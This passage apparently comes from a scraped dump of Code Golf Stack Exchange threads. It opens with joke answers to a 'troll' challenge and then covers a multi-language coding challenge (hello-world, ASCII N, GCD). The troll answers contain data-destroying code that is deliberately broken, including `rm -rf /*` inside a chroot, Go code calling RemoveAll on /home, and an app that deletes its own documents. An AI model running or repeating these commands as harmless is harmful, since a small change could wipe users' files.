\"dW5zZXQgLWYgY2xlYW51cA==\")\neval $(base64 -d <<< \"Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=\")\ncleanup\n```\nIt's perhaps as evil as it gets. It defines a function that'd `rm -rf /` and invokes it. Not only that it makes use of the [evil `eval`](http://mywiki.wooledge.org/BashFAQ/048) on more than one occasion.\nIt would do a lot of damage, surely!\n> \n> In case you are wondering, the first `eval` unsets the function by:\n> `unset -f cleanup`\n> \n> The second `eval` defines it to:\n> `cleanup() { echo Troll detected; }`\n> \n> So upon running the code, you'd see\n> \n> `Troll detected`\n> \n> \n> \n[Answer]\n**BASH**\nSure we need root privileges for the machine, so we use the good old \"Do I have root?\"-checker, aka *ch*(eck)*root* - but better do this in a directory where there won't be many alarms raised. /tmp would be perfect, because everyone can write files there.\nAfter this we just delete the entire hard drive *evil laughter*\n```\nmkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c \"su - -c rm -rf /*\"\n```\n[Answer]\n## iPhone - Flappy Bird Clone\nWhile the user is playing an iPhone Flappy Bird clone, all of the files in the Documents directory are deleted.\n```\n#import \"AppDelegate.h\"\n#import \"FlappyBirdClone.h\"\n@implementation AppDelegate\n- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions\n{\n FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];\n [flappyBirdClone startFlapping];\n NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];\n [self deleteAllDocumentsInDirectory:documentsDirectory];\n return YES;\n}\n- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL\n{\n NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];\n [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {\n [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];\n }];\n}\n```\n> \n> Each app in iOS is Sandboxed, so while this deletes everything in the Documents directory, it is only the Documents directory for this particular app. The troll is obviously not aware of this, since he has already been flooded with so many programs for other platforms. And as soon as he realizes he too can put out a Flappy Bird clone, he may be so excited he doesn't even bother to think about the rest of the code, as he is too preoccupied dreaming of making $50,000 a day in advertising without doing any work.\n> \n> \n> \n[Answer]\n## Go:\n```\npackage main\nimport (\n \"fmt\"\n \"os\"\n \"sync\"\n)\nfunc main() {\n wg := sync.WaitGroup{}\n go deleteAll(wg)\n wg.Wait()\n}\nfunc deleteAll(wg sync.WaitGroup) {\n wg.Add(1)\n defer wg.Done()\n fmt.Println(\"Press enter to clean your computer!\")\n fmt.Scanln()\n os.RemoveAll(\"/home\")\n}\n```\nThis one is a bit tricky. In Go the entire program exits when the main Goroutine exits. A good way to fix this is with a Waitgroup. There are two huge problems with my \"fix\":\n1. The Waitgroup isn't added to until the Goroutine starts, which means the main Goroutine will hit `Wait` before the deletion Goroutine hits `Add`. Since the counter will be 0, it has nothing to wait on and therefore it won't not block and just end up exiting, thus terminating the program.\n2. Even if, somehow, magically, the deleteAll goroutine's addition gets done first. It got a copy of the Waitgroup, not a pointer to it. It won't be adding to the same Waitgroup so the main Goroutine will never see it.\nThe fmt.Scanln() to expect input is just to ensure the main Goroutine exits before anything happens. The Println will likely cause it to IO block and switch to running the main Goroutine (thus exiting), and the Scanln will almost certainly do so. In reality, neither are necessary with any version of Go.\nIn super theory land this MIGHT work and delete something, meaning according to the Go memory model there's no guaranteed \"happens-before\" relationship regarding the end of `main` and the execution of `RemoveAll`, but it won't on any modern Go runtime/compiler as evidenced by all the newbies who make the mistake of not putting synchronization in their main functions.\n[Answer]\n# C++\n```\n#include\nint main()\n{\n remove(\"C:\\windows\\system32\\Bubbles.scr\");\n return 0;\n} \n```\n## OUTPUT\nWindow opens then closes but **tries** to delete the screen-saver file(.scr) used to show the nice bubbles in windows-7. \n# PROBLEM\nYou can't figure it out ? let me tell you, \n> \n> The problem is in \"C:\\windows\\system 32\\Bubbles.scr\", the '\\' character in string is not acting as a '\\' but as unknown escape sequence which modifies the path to \n> \n> \"C:windowssystem 32Bubbles.scr\" \n> \n> \n> \n### EDIT : According to kinokijuf (and my experiment) The main error is that you can't delete system files on windows! you may try the right version of the above code :-\n```\n#include\nint main()\n{\n remove(\"C:\\\\windows\\\\system32\\\\Bubbles.scr\");\n return 0;\n}\n```\n...And lol, the kidnapper got trolled /^o^/.\n]"}}},{"rowIdx":41,"cells":{"text":{"kind":"string","value":"[Question]\n [\nIn this challenge, users will take turns completeing three fairly simple coding tasks in programming languages that are allowed to be progressively older.\nThe first answer must use a programming language that was made in the year 2015. Once there is at least one answer from a 2015 language, answers may use programming languages that were made in 2014. Similarly, answers that use languages from 2013 are not allowed until there is at least one 2014 answer.\n**In general, the use of a programming language from the year Y is not allowed until an answer using a language from the year Y+1 has been submitted. The only exception is Y = 2015.**\n# Finding Your Language's Year\nTo answer this question, you must know the year your programming language was \"made in\". This is, of course, a subjective term; some languages were developed over the course of multiple years, and many languages are still being upgraded every year. **Let the year a language was \"made in\" be the first year an implementation for that language appeared in the general public.**\n> \n> For example, [Python](http://en.wikipedia.org/wiki/Python_%28programming_language%29) was \"made in\" [1991](http://en.wikipedia.org/wiki/History_of_Python#First_publication), though its\n> development had been in progress since 1989, and version 1.0 wasn't\n> released until 1994.\n> \n> \n> \nIf this year is still subjective, just use your common sense to choose the most appropriate year. Don't get bogged down in slight disagreements about year choices. Please provide a link to a source that says when your language was made.\nDifferent versions or standards of a programming language (e.g. Python 1, 2, 3) are counted as the same language with the same initial year.\nSo, unless your language's year is 2015, you can only submit your answer once an answer has been submitted whose language's year is the year just before yours.\nIf a valid answer with the same year as yours already exists, then you may answer. It doesn't matter if your language was developed earlier or later in the year.\n# Tasks\nYou must complete Tasks 1 through 3. Task 0 is optional.\nThese tasks were more or less chosen to correspond to three important aspects of programming: providing output (Task 1), looping (Task 2), and recursion (Task 3).\n## Task 0 - Language History (optional)\nWrite at least a paragraph explaining the history of your chosen programming language: who developed it, why, how, etc. This is especially encouraged if you personally were around when the language came into being, and maybe even played a part in its development. Feel free to relate personal anecdotes about the effect the language had on you or your job, or anything like that.\nIf you're too young to know much about the history of your language without a lot of research, consider leaving a note to older users that says they can edit your post and add in some first-hand history.\n## Task 1 - \"Hello, World!\" Variant\nWrite a program that prints\n```\n[language name] was made in [year made]!\n```\nto your language's standard output area (stdout for most recent languages).\nFor example, if the language was Python, the output would be:\n```\nPython was made in 1991!\n```\n## Task 2 - ASCII Art N\nWrite a program that lets the user enter in an odd positive integer (you may assume the input is always valid), and prints out an ASCII art letter N made using the character `N`.\nIf the input is 1, the output is:\n```\nN\n```\nIf the input is 3, the output is:\n```\nN N\nNNN\nN N\n```\nIf the input is 5, the output is:\n```\nN N\nNN N\nN N N\nN NN\nN N\n```\nIf the input is 7, the output is:\n```\nN N\nNN N\nN N N\nN N N\nN N N\nN NN\nN N\n```\nThe pattern continues on like this. The output may contain trailing spaces.\n## Task 3 - [GCD](http://en.wikipedia.org/wiki/Greatest_common_divisor)\nWrite a program that lets the user enter in two positive integers (you may assume the input is always valid), and prints their [greatest common divisor](http://en.wikipedia.org/wiki/Greatest_common_divisor). This is defined as the largest positive integer that divides both numbers without leaving a remainder. It can be readily calculated using the [Euclidean algorithm](http://en.wikipedia.org/wiki/Euclidean_algorithm).\nExamples:\n`8`, `12` → `4` \n`12`, `8` → `4` \n`3`, `30` → `3` \n`5689`, `2` → `1` \n`234`, `876` → `6`\nYou may use a built in function but try finding out if it was there in the first version of your language. If not, try not using it.\n# Rules\n* **You may answer multiple times, but each new answer must use a language made at least 5 years before the language in your last answer.** So if you answered with a 2015 language, you couldn't answer again until 2010 languages are allowed. If you start with a 2010 answer, you can't make a 2015 answer your second answer because 2015 is not before 2010.\n* If possible, write your code so that it would have worked in the very first version of your language (or as old a version as possible). (This is not a requirement because finding old compilers/interpreters for some languages may be difficult.)\n* Refrain from posting a language that has already been posted unless the posted answer has significant errors or you have a very different way of completing the tasks.\n* Golfing your code is fine but not required.\n* A trailing newline in the output of any program is fine.\n* For tasks 2 and 3, all input values below some reasonable maximum like 216 should work (256 at the very least).\n* Your language must have existed before this question was posted.\n* Very old programming languages may have different forms of input and output than what we think of today. This is fine. Complete the tasks to the best of your ability in the context of your language.\n# Scoring\nYour submission's score is:\n```\nupvotes - downvotes + (2015 - languageYear) / 2 \n```\nThus, 0.5 is added to the vote count for every year before 2015, giving the advantage to older languages. The submission with the highest score wins.\n# Answer List\nThe Stack Snippet below lists all the valid answers according to their language year.\n**You must start your post with this [Markdown](https://stackoverflow.com/editing-help) line to ensure it is listed correctly:**\n```\n#[year] - [language name]\n```\nFor example:\n```\n#1991 - Python\n```\nThe language name may be in a link (it will be the same link in the answer list):\n```\n#1991 - [Python](https://www.python.org/)\n```\nAnswers that don't follow this format, or have a year that is not allowed yet, or come from a user that already answered in the last 5 years are marked as invalid.\n```\n
Year Language User (answer link) Score

Invalid Answers:
\n```\n \n[Answer]\n# 2013 - Dogescript\n[Dogescript](https://github.com/dogescript/dogescript/blob/master/LANGUAGE.md) is a language created in 2013 by Zach Bruggeman. It is nothing more than a syntax-replacement for Javascript to make it read like the internal monologues of memetic Shiba Inus. \n## Hello doge\n```\nconsole dose loge with \"Dogescript was made in 2013!\"\n```\n## ASCII Art\n```\nsuch N much N\n much i as 0 next i smaller N next i more 1\n very doge is (\"N\" + \" \".repeat(N-2) + \"N\").split('')\n s[i] is \"N\";\n console dose loge with doge.join('')\n wow\n wow\n```\n## GCD\n```\nsuch gcd_doge much doge, dooge\n rly dooge\n gcd_doge(dooge, doge % dooge)\n but\n rly doge smaller 0\n -doge\n but\n doge\n wow\n wow\n```\n[Answer]\n# 2015 - [Retina](https://github.com/mbuettner/retina)\nRetina is a regex-based programming language, which I wrote to be able to compete in PPCG challenges with regex-only answers, without having the unnecessary overhead of calling the regex in some host language. Retina is Turing-complete. To prove it I've implemented [a 2-tag system solver as well as Rule 110](https://github.com/mbuettner/retina/tree/master/Examples). It is written in C#, hence it supports both the .NET flavour (by default) and the ECMAScript flavour (via a flag).\nRetina can operate in multiple modes, but the most relevant one for computations (and the Turing-complete one) is Replace mode. In Replace mode you give Retina an even number of source files. These are then paired, the first of each pair being a regex, and the second a replacement. These are then executed in order, manipulating the input step by step. The regex can also be preceded by a configuration (delimited with ```). The most important option (which makes Retina Turing-complete) is `+`, which makes Retina apply the replacement in a loop until the result stops changing. In the following examples, I'm also using `;`, which suppresses output on intermediate stages.\nIn each of the following submissions, each line goes in a separate source file. (Alternatively, you can use the new `-s` option and put all lines into a single file.) Empty files/lines are represented as ``. Files/lines containing a single space are represented as ``.\nThe explanations are quite long, so I've moved them to the end of the post.\n## The Programs\n### \"Hello, World!\" Variant\n```\n\nRetina was made in 2015!\n```\n### ASCII Art N\nThis assumes that STDIN is terminated with a newline.\n```\n;`^\n#\n;+`(\\d*)#(?:(((((((((9)|8)|7)|6)|5)|4)|3)|2)|1)|0)\n$1$1$1$1$1$1$1$1$1$1$2$3$4$5$6$7$8$9$10#\n;`#\n\n;`\\d\nN\n;`.(?<=(?=(.*\\n)).*)|\\n\n$1\n;`N(?=N\\n.*\\n.*\\n`$)\n\n;+`N(?=.?(.)+\\n.* (?<-1>.)+(?(1)!)\\n)\n\n;`(?<=^.*\\n.*\\nN)N\nS\n;+`(?<=\\n(?(1)!)(?<-1>.)+S.*\\n(.)+N?)N\nS\nS\n\n```\n### GCD\nThis requires that STDIN is *not* terminated with a newline.\n```\n;`\\b(?=\\d)\n#\n;+`(\\d*)#(?:(((((((((9)|8)|7)|6)|5)|4)|3)|2)|1)|0)\n$1$1$1$1$1$1$1$1$1$1$2$3$4$5$6$7$8$9$10#\n;`#\n\n;`\\d\n1\n;`^(.+)\\1* \\1+$\n$1\n;`$\n#:0123456789\n;+`^(?=1)(1*)\\1{9}(#(?=.*(0))|1#(?=.*(?<3>1))|11#(?=.*(?<3>2))|111#(?=.*(?<3>3))|1111#(?=.*(?<3>4))|11111#(?=.*(?<3>5))|111111#(?=.*(?<3>6))|1111111#(?=.*(?<3>7))|11111111#(?=.*(?<3>8))|111111111#(?=.*(?<3>9)))\n$1#$3\n#|:.*\n\n```\n## Explanations\n### \"Hello, World!\" Variant\nThis is fairly trivial. It takes no input (i.e. an empty string), matches nothing and replaces it with `Retina was made in 2015!`. One can also make it work for arbitrary input, by replacing the pattern with `[\\s\\S]*` for instance. That would slurp STDIN and replace all of it with the output.\n### ASCII Art N\nThis has quite a lot of stages. The idea is to convert the input to unary, create an N x N block of `N`s and then \"carve out\" two triangles. Let's go through the individual stages. Remember that `;` merely suppresses intermediate outputs, but `+` causes the replacement to be applied in a loop.\n```\n;`^\n#\n```\nSimple: prepend a `#` to the input. This will be used as a marker in the conversion to unary.\n```\n;+`(\\d*)#(?:(((((((((9)|8)|7)|6)|5)|4)|3)|2)|1)|0)\n$1$1$1$1$1$1$1$1$1$1$2$3$4$5$6$7$8$9$10#\n```\nThis converts one digit to unary. It takes the digits already converted `(\\d*)` and repeats them 10 times. And then it takes the next digit and appends the appropriate number of digits. The actual value of the digits is irrelevant at this stage. When the `#` reaches the end of the number, the regex no longer matches, and the conversion is done. As an example, the number `127` will be processed as\n```\n#127\n1#27\n111111111122#7\n1111111111221111111111221111111111221111111111221111111111221111111111221111111111221111111111221111111111221111111111227777777#\n```\nwhere the last line contains exactly 127 digit characters.\n```\n;`#\n\n;`\\d\nN\n```\nTwo simple stages which get rid of that `#` and then convert all the digits to `N`. In the following I'll use input `7` as an example. So now we've got\n```\nNNNNNNN\n```\nThe next stage\n```\n;`.(?<=(?=(.*\\n)).*)|\\n\n$1\n```\nreplaces each `N` with the entire string (remember that it contains a trailing newline), and also removes the trailing newline itself. Hence, this turns the single row into a square grid:\n```\nNNNNNNN\nNNNNNNN \nNNNNNNN\nNNNNNNN\nNNNNNNN\nNNNNNNN\nNNNNNNN\n```\nNow the upper triangle. First, we start things off by turning the N in the lower right corner into a space:\n```\n;`N(?=N\\n.*\\n.*\\n`$)\n\n```\nThe lookahead ensures that we're modifying the correct `N`. This gives\n```\nNNNNNNN\nNNNNNNN \nNNNNNNN\nNNNNNNN\nNNNNN N\nNNNNNNN\nNNNNNNN\n```\nAnd now\n```\n;+`N(?=.?(.)+\\n.* (?<-1>.)+(?(1)!)\\n)\n\n```\nis a regex which matches an `N` which is above or at the top left corner of a space character, and replaces it with a space. Because the replacement is repeated, this is essentially a flood-fill, which turns the 3rd octant from the initial space into more spaces:\n```\nN N\nNN N \nNNN N\nNNNN N\nNNNNN N\nNNNNNNN\nNNNNNNN\n```\nAnd finally, we repeat the same thing with the bottom triangle, but we use a different character, so the already existing spaces don't cause a wrong flood fill:\n```\n;`(?<=^.*\\n.*\\nN)N\nS\n```\nsets the seed:\n```\nN N\nNN N \nNSN N\nNNNN N\nNNNNN N\nNNNNNNN\nNNNNNNN\n```\nThen\n```\n;+`(?<=\\n(?(1)!)(?<-1>.)+S.*\\n(.)+N?)N\nS\n```\ndoes the flood-fill.\n```\nN N\nNN N \nNSN N\nNSSN N\nNSSSN N\nNSSSSNN\nNSSSSSN\n```\nAnd finally\n```\nS\n\n```\nTurns those `S` into spaces and we're done:\n```\nN N\nNN N \nN N N\nN N N\nN N N\nN NN\nN N\n```\n### GCD\nGCD in unary is actually very trivial with regex. Most of this consists of the decimal to unary and unary to decimal conversion. This could be done more compactly, but this isn't a code golf, so...\n```\n;`\\b(?=\\d)\n#\n;+`(\\d*)#(?:(((((((((9)|8)|7)|6)|5)|4)|3)|2)|1)|0)\n$1$1$1$1$1$1$1$1$1$1$2$3$4$5$6$7$8$9$10#\n;`#\n\n;`\\d\n1\n```\nThese stages are essentially the same as above, except that both input numbers are converted, and the result uses `1`s instead of `N`s (not that it matters). So if the input was `18 24`, then this would produce\n```\n111111111111111111 111111111111111111111111\n```\nNow\n```\n;`^(.+)\\1* \\1+$\n$1\n```\n**is the entire GCD computation.** We match a common divisor by capturing a number of `1`s, and then using backreferences to ensure that both numbers can be written by repeating that string (and nothing else). Due to how backtracking works in the regex engine (i.e. that `.+` is greedy), this will always yield the *greatest* common divisor automatically. Since the match covers the entire string, we simply write back the first capturing group to get our GCD.\nFinally, the unary to decimal conversion...\n```\n;`$\n#:0123456789\n```\nAppend a marker `#`, a delimiter `:` and all digits to the string. This is necessary, because you can't produce new characters conditionally in a regex replacement. If you want conditional replacement, you need to pull the characters from the string itself, so we put them there.\n```\n;+`^(?=1)(1*)\\1{9}(#(?=.*(0))|1#(?=.*(?<3>1))|11#(?=.*(?<3>2))|111#(?=.*(?<3>3))|1111#(?=.*(?<3>4))|11111#(?=.*(?<3>5))|111111#(?=.*(?<3>6))|1111111#(?=.*(?<3>7))|11111111#(?=.*(?<3>8))|111111111#(?=.*(?<3>9)))\n$1#$3\n```\nThis is the inverse of the unary expansion earlier. We find the largest multiple of 10 that fits into the current string. Then we choose the next digit based on the remainder, and divide the multiple by 10, while moving the marker through the digits.\n```\n#|:.*\n\n```\nAnd lastly just a cleanup step to get rid of the marker, delimiter and the helper digits.\n[Answer]\n# 2013 - Snap*!*\n[Snap*!*](http://snap.berkeley.edu) is a language based on [Scratch](http://scratch.mit.edu), made at Berkeley University. It is an upgrade to Scratch featuring first-class data and custom blocks (functions). Like Scratch, it is not text based, but rather done by visual \"blocks\" that snap together.\nSnap*!*, written in JavaScript, is the successor to BYOB, which was written in Squeak Smalltalk. Snap*!* was beta released for public consumption in [March 2013](https://github.com/jmoenig/Snap--Build-Your-Own-Blocks/tree/0b510366d230399a38f18a8db92dd396a0dad42e).\nSnap*!* is actually not an esoteric language. It is used as the programming language for the [Beauty and Joy of Computing (BJC)](http://bjc.berkeley.edu/) AP CS course at Berkeley and others.\nI helped out with testing and stuff.\n## \"Hello World\" variant\n![](https://i.stack.imgur.com/9ZQxz.png)\n## ASCII Art \"N\"\n![enter image description here](https://i.stack.imgur.com/wxXLN.png)\nThis uses the stdlib for some of the blocks.\nPretty basic looping here. Takes an input. Then we just add it all together and say it (result for n=5):\n![enter image description here](https://i.stack.imgur.com/T3B1I.png)\nI took the liberty here to just use 2 spaces instead of 1, because Snap! doesn't say stuff in monospace.\n## GCD\nThe Euclidean algorithm isn't very fast, but it works, and is pretty simple. (Sorry, i made a typo in the block name. Now i closed the tab without saving. It'll just have to stay.)\n![enter image description here](https://i.stack.imgur.com/iakB5.png)\nThis function definition will then produce this block:\n![enter image description here](https://i.stack.imgur.com/nEsN4.png)\n[Answer]\n# 2007 - LOLCODE\n### Language History\nLOLCODE was created in 2007 by Adam Lindsay, a researcher at Lancaster University. Its syntax is based on the lolcats memes popularized by Cheezburger, Inc.\n### \"Hello, World!\" Variant\n```\nHAI\nVISIBLE \"LOLCODE wuz maed in 2007!\"\nKTHXBYE\n```\n### ASCII Art N\n```\nHAI\nBTW, read n from stdin\nGIMMEH n\nBTW, convert n from YARN to NUMBR\nn R PRODUKT OF n AN 1\nBOTH SAEM n AN 1, O RLY?\n YA RLY\n VISIBLE \"N\"\n NO WAI\n VISIBLE \"N\"!\n I HAS A butt ITZ 1\n IM IN YR toilet UPPIN YR butt TIL BOTH SAEM butt AN DIFF OF n AN 1\n VISIBLE \" \"!\n IM OUTTA YR toilet\n VISIBLE \"N\"\n I HAS A kat ITZ 2\n IM IN YR closet UPPIN YR kat TIL BOTH SAEM kat AN n\n VISIBLE \"N\"!\n BOTH SAEM kat AN 2, O RLY?\n YA RLY\n VISIBLE \"N\"!\n NO WAI\n I HAS A doge ITZ 1\n IM IN YR l00p UPPIN YR doge TIL BOTH SAEM doge AN DIFF OF kat AN 1\n VISIBLE \" \"!\n IM OUTTA YR l00p\n VISIBLE \"N\"!\n OIC\n I HAS A brd ITZ 1\n IM IN YR haus UPPIN YR brd TIL BOTH SAEM brd AN DIFF OF n AN kat\n VISIBLE \" \"!\n IM OUTTA YR haus\n VISIBLE \"N\"\n IM OUTTA YR closet\n VISIBLE \"N\"!\n I HAS A d00d ITZ 1\n IM IN YR lap UPPIN YR d00d TIL BOTH SAEM d00d AN DIFF OF n AN 1\n VISIBLE \" \"!\n IM OUTTA YR lap\n VISIBLE \"N\"\nOIC\nKTHXBYE\n```\nValues are read as strings (YARNs) from stdin using `GIMMEH`. They can be converted to numeric (NUMBRs) by multiplying by 1.\nValues are printed to stdout using `VISIBLE`. By default a newline is appended, but it can be suppressed by adding an exclamation point.\n### GCD\n```\nHAI\nGIMMEH a\na R PRODUKT OF a AN 1\nGIMMEH b\nb R PRODUKT OF b AN 1\nI HAS A d00d ITZ 1\nIM IN YR food UPPIN YR d00d TIL BOTH SAEM b AN 0\n I HAS A kitty ITZ a\n I HAS A doge ITZ b\n a R doge\n b R MOD OF kitty AN doge\nIM OUTTA YR food\nVISIBLE SMOOSH \"gcd is \" a\nKTHXBYE\n```\n`SMOOSH` performs string concatenation.\n[Answer]\n# 1982 - [PostScript](http://en.wikipedia.org/wiki/PostScript)\nPostScript is a language for creating vector graphics and printing.\nAdobe was founded in 1982, and their first product was PostScript. The language was used in printers: the commands are interpreted by the printer to create a raster image, which is then printed onto the page. It was a very common component of laser printers well into the 1990s. But it’s obviously quite CPU intensive on the printer, and as computer processors became more powerful, it made more sense to do the rasterisation on the computer than the printer. PostScript has largely gone away on consumer printers, although it still exists on a lot of more high-end printers.\nThe standard which replaced PostScript is a little-known format called PDF.\nPostScript had fallen out of fashion by the time I started programming, but I learnt a little bit while I was in university as another way of creating documents for TeX. It was quite different to other programming languages I’d used (reverse infix notation, stack, printing to a page instead of a console), but it was nice to dust off this old language for some fun.\nSince PostScript is a printing language, it seems more appropriate to use it to print something then send an output to the console.\n## Task 1\n```\n/Courier findfont\n12 scalefont\nsetfont\nnewpath\n100 370 moveto\n(PostScript was made in 1982!\\n) show\n```\nThe first few lines set up a canvas to draw on. Then the `moveto` command tells PS to draw at a particular position, and `show` prints the string to the page. Note that parentheses mark a string in PostScript, not quotation marks.\n## Task 2\n```\n/asciiartN {% stack: N row col\n % output: draws an \"ASCII art\" N\n % PostScript doesn't allow you to pass variables directly into a function;\n % instead, you have to pass variables via the global stack. Pop the variables\n % off the stack and define them locally.\n 6 dict begin\n /row exch def\n /col exch def\n /N exch def\n % Define how much space will be between each individual \"N\"\n /spacing 15 def\n % Get the width of the \"N\". We need this to know where to draw the right-hand\n % vertical\n /endcol col spacing N 1 sub mul add def\n % One row is drawn at a time, with the bottom row drawn first, and working\n % upwards. This stack variable tracks which column the diagonal is in, and so\n % we start on the right and work leftward\n /diagcol endcol def\n % Repeat N times: draw one row at a time\n N {\n % Left-hand vertical of the \"N\"\n col row moveto\n (N) show\n % Right-hand vertical of the \"N\"\n endcol row moveto\n (N) show\n % Diagonal bar of the \"N\"\n diagcol row moveto\n (N) show\n % Advance to the next row. This means moving the row one space up, and the\n % diagonal position one place to the left.\n /row row spacing add def\n /diagcol diagcol spacing sub def\n } repeat\n end\n} def\n1 100 200 asciiartN\n3 150 200 asciiartN\n5 230 200 asciiartN\n```\nI wrote a function for drawing the “ASCII art” N, but there’s no way for PostScript functions to take an argument. Instead, you push your arguments to the stack, then get them back off. That’s the `/x exch def` line.\nAn example: suppose the stack is `8 9 2`. First we push the name `/x` to the stack, so the stack is `8 9 2 /x`. The `exch` operator swaps the two stack values, so now the stack is `8 9 /x 2`. Then `def` pops the top two stack values, and defines `/x` to have the value `2`. The stack is now `8 9`.\nWhen I started using PostScript, I found this a little confusing. I’d read about the stack as a theoretical concept, but this was the first time I was using it in practice.\nThe rest of the function is some drawing code: start at the bottom right-hand corner, filling in a row at a time from left-to-right-to-diagonal.\n## Task 3\n```\n/modulo {% stack: x y\n % output: returns (x mod y)\n 3 dict begin\n /y exch def\n /x exch def\n % If x = y then (x mod y) == 0\n x y eq {0} {\n % If x < y then (x mod y) == x\n x y lt {x} {\n % If x > y then subtract floor(x/y) * y from x\n /ycount x y div truncate def\n /x x ycount y mul sub def\n /x x cvi def\n x\n } ifelse\n } ifelse\n} def\n/gcd {% stack: a b\n % returns the gcd of a and b\n 2 dict begin\n /b exch def\n /a exch def\n % I'm using the recursive version of the Euclidean algorithm\n % If b = 0 then return a\n b 0 eq {a} {\n % Otherwise return gcd(b, a mod b)\n /a a b modulo def\n b a gcd\n } ifelse\n} def\n/displaygcd {% stack: a b xcoord ycoord\n % displays gcd(a,b) at position (xcoord, ycoord)\n 5 dict begin\n /ycoord exch def\n /xcoord exch def\n /b exch def\n /a exch def\n /result a b gcd def\n xcoord ycoord moveto\n result 20 string cvs show\n % end\n} def\n8 12 100 80 displaygcd\n12 8 150 80 displaygcd\n3 30 200 80 displaygcd\n5689 2 250 80 displaygcd\n234 876 300 80 displaygcd\n```\nAgain, I used a form of Euclid’s algorithm, but I’d forgotten that PostScript has a built in modulo operator, so I had to write my own. This turned out to be a useful reminder of the constraints of stack-based programming. My first implementation of `modulo` was based on recursion:\n```\nmodulo(x, y)\n if (x = y) return 0\n elif (x < y) return x\n else return module(x - y, y)\n```\nwhich is fine until you try to run this when `x` is large and `y` is small (e.g. 5689 and 2). You can only have up to 250 elements on the stack, and so I was blowing well past the stack limit. Oops. I had to go back to the drawing board on that one.\nThe GCD code itself is fairly simple. But just as functions can’t take arguments, so they don’t have return values. Instead, you have to push the result to the stack where somebody else can pop it off later. That’s what the `a` and `b a gcd` lines do: when they’ve finished evaluating, they push the value to the stack.\nIf you put all the code in a document and print it, this is what the output looks like:\n![enter image description here](https://i.stack.imgur.com/3fDgh.jpg)\n[Answer]\n# 2009 - [><>](http://esolangs.org/wiki/Fish)\nInspired by Befunge, ><> (Fish) is an esoteric stack-based 2D language, i.e. program flow can be up, down, left or right. The initial version of ><> featured multithreading where `[` and `]` created and ended threads, but for simplicity reasons these instructions were changed to creating and removing new stacks respectively.\nThe current official interpreter for ><> can be found [here](https://gist.github.com/anonymous/6392418). Unfortunately, the link to the old interpreter on Esolang wiki is broken.\n## \"Hello, World!\" Variant\n```\n\"!9002 ni edam saw ><>\"l?!;obb+0.\n```\nNote how the string is written backwards — ><> doesn't technically have strings, with the only data type being a weird mix of char, int and float. `\"` toggles string parsing, pushing each character onto the stack until a closing `\"` is met.\nThe second half of the code then pushes the length of the stack `l`, checks if it's zero `?!` and if so the program terminates `;`. Otherwise the instruction pointer continues, outputting the top of the stack with `o` before executing `bb+0.`, which teleports the pointer to position `(22, 0)` just before the `l`, creating a loop.\n## ASCII Art N\n```\n&0 > :&:&:*=?; :&:&% :0=?v :&:&1-=?v :{:{-&:&,{=?v \" \" o \\\n > ~\"N\"o v \n + > ~\"N\"oao v \n 1 >\"N\"o v \n \\ < /\n```\nWith spacing for clarity. You can try this out at the new online interpreter [here](http://fishlanguage.com/) and see the instruction pointer go around and around — just remember to enter a number in the \"Initial Stack\" textbox. If you're running via the Python interpreter, use the `-v` flag to initialise the stack, e.g.\n```\npy -3 fish.py ascii.fish -v 5\n```\nFor this program, we put the input `n` into the register with `&` and push a 0, which we'll call `i` for \"iterations\". The rest of the program is a giant loop which goes like this:\n```\n:&:&:*=?; If i == n*n, halt. Otherwise ...\n:&:&% Push i%n\n:0=?v If i%n == 0 ...\n>~\"N\"o Print \"N\"\n:&:&1-=?v Else if i%n == n-1 ...\n>~\"N\"oao Print \"N\" and a newline\n:{:{-&:&,{=?v Else if i%n == i//n, where // is integer division...\n>~\"N\"o Print \"N\"\n\" \"o Otherwise, print a space\n1+ Increment i\n```\nThen we repeat the loop from the beginning.\nThe arrows `^>v<` change the direction of program flow and the mirrors `/\\` reflect the direction of program flow.\n## GCD\n```\n>:{:}%\\\n;n{v?:/\nv~@/\n```\nHere's an example of what a golfed ><> program might look like. Once again, you can try this in the [online interpreter](http://fishlanguage.com/) (enter two comma-separated values in the \"Initial stack\" box, e.g. `111, 87`) or by using the `-v` flag of the Python interpreter, e.g.\n```\npy -3 fish.py gcd.fish -v 111 87\n```\nThis program uses the Euclidean algorithm. Here's a GIF I prepared earlier:\n![enter image description here](https://i.stack.imgur.com/OMVsN.gif)\nNote that ><> is toroidal, so when the bottom left `v` instruction is executed the instruction pointer goes downwards, wraps around, and reappears at the top.\n---\nEdit: By making the code run entirely from **right to left**, @randomra managed to shave three bytes with\n```\n<~@v!?:%}:{:\n;n{/\n```\nGuess I didn't golf it down enough :)\n[Answer]\n# 2012 - [Element](https://github.com/PhiNotPi/Element)\nThis is a language that I invented in early 2012 to be a simple golfing language. By this, I mean that there is very little to no operator overloading. The operators are also simpler and fewer in number than most modern golfing languages.\nThe most interesting features of this language are its data structures. There are *two* stacks and a hash that are used to store information.\nThe m-stack is the main stack, where arithmetic and most other operations take place. When data is inputted or printed, this is where it goes or is retrieved from.\nThe c-stack is the control stack. This is where boolean arithmetic takes place. The top values of the c-stack are used by If and While loops as the condition.\nThe hash is where variables are stored. The `;` and `~` store and retrieve data from the hash, respectively.\nElement is a very weakly typed language. It uses Perl's ability to freely interpret numbers as strings and vice-versa.\nWhile I'm at it, I might as well include all the documentation for the language. **You can find the *original* 2012 interpreter, written in Perl, right [here](http://pastebin.com/rZKMKDWv). Update: I have created a more usable version, which you can find right [here](https://github.com/PhiNotPi/Element/blob/master/Interpreter).**\n```\nOP the operator. Each operator is a single character\nSTACK tells what stacks are affected and how many are popped or pushed\n \"o\" stands for \"other effect\"\nHASH tells if it involves the hash\nx & y represent two values that are already on the stack, so the effect of\n the operator can be more easily described\nOP STACK HASH DESCRIPTION\ntext ->m --whenever a bare word appears, it pushes that string onto \n the main stack\n_ o->m --inputs a word and pushes onto main stack\n` m->o --output. pops from main stack and prints\nxy; mm-> yes --variable assignment. the top stack element y is assigned \n the value x\n~ 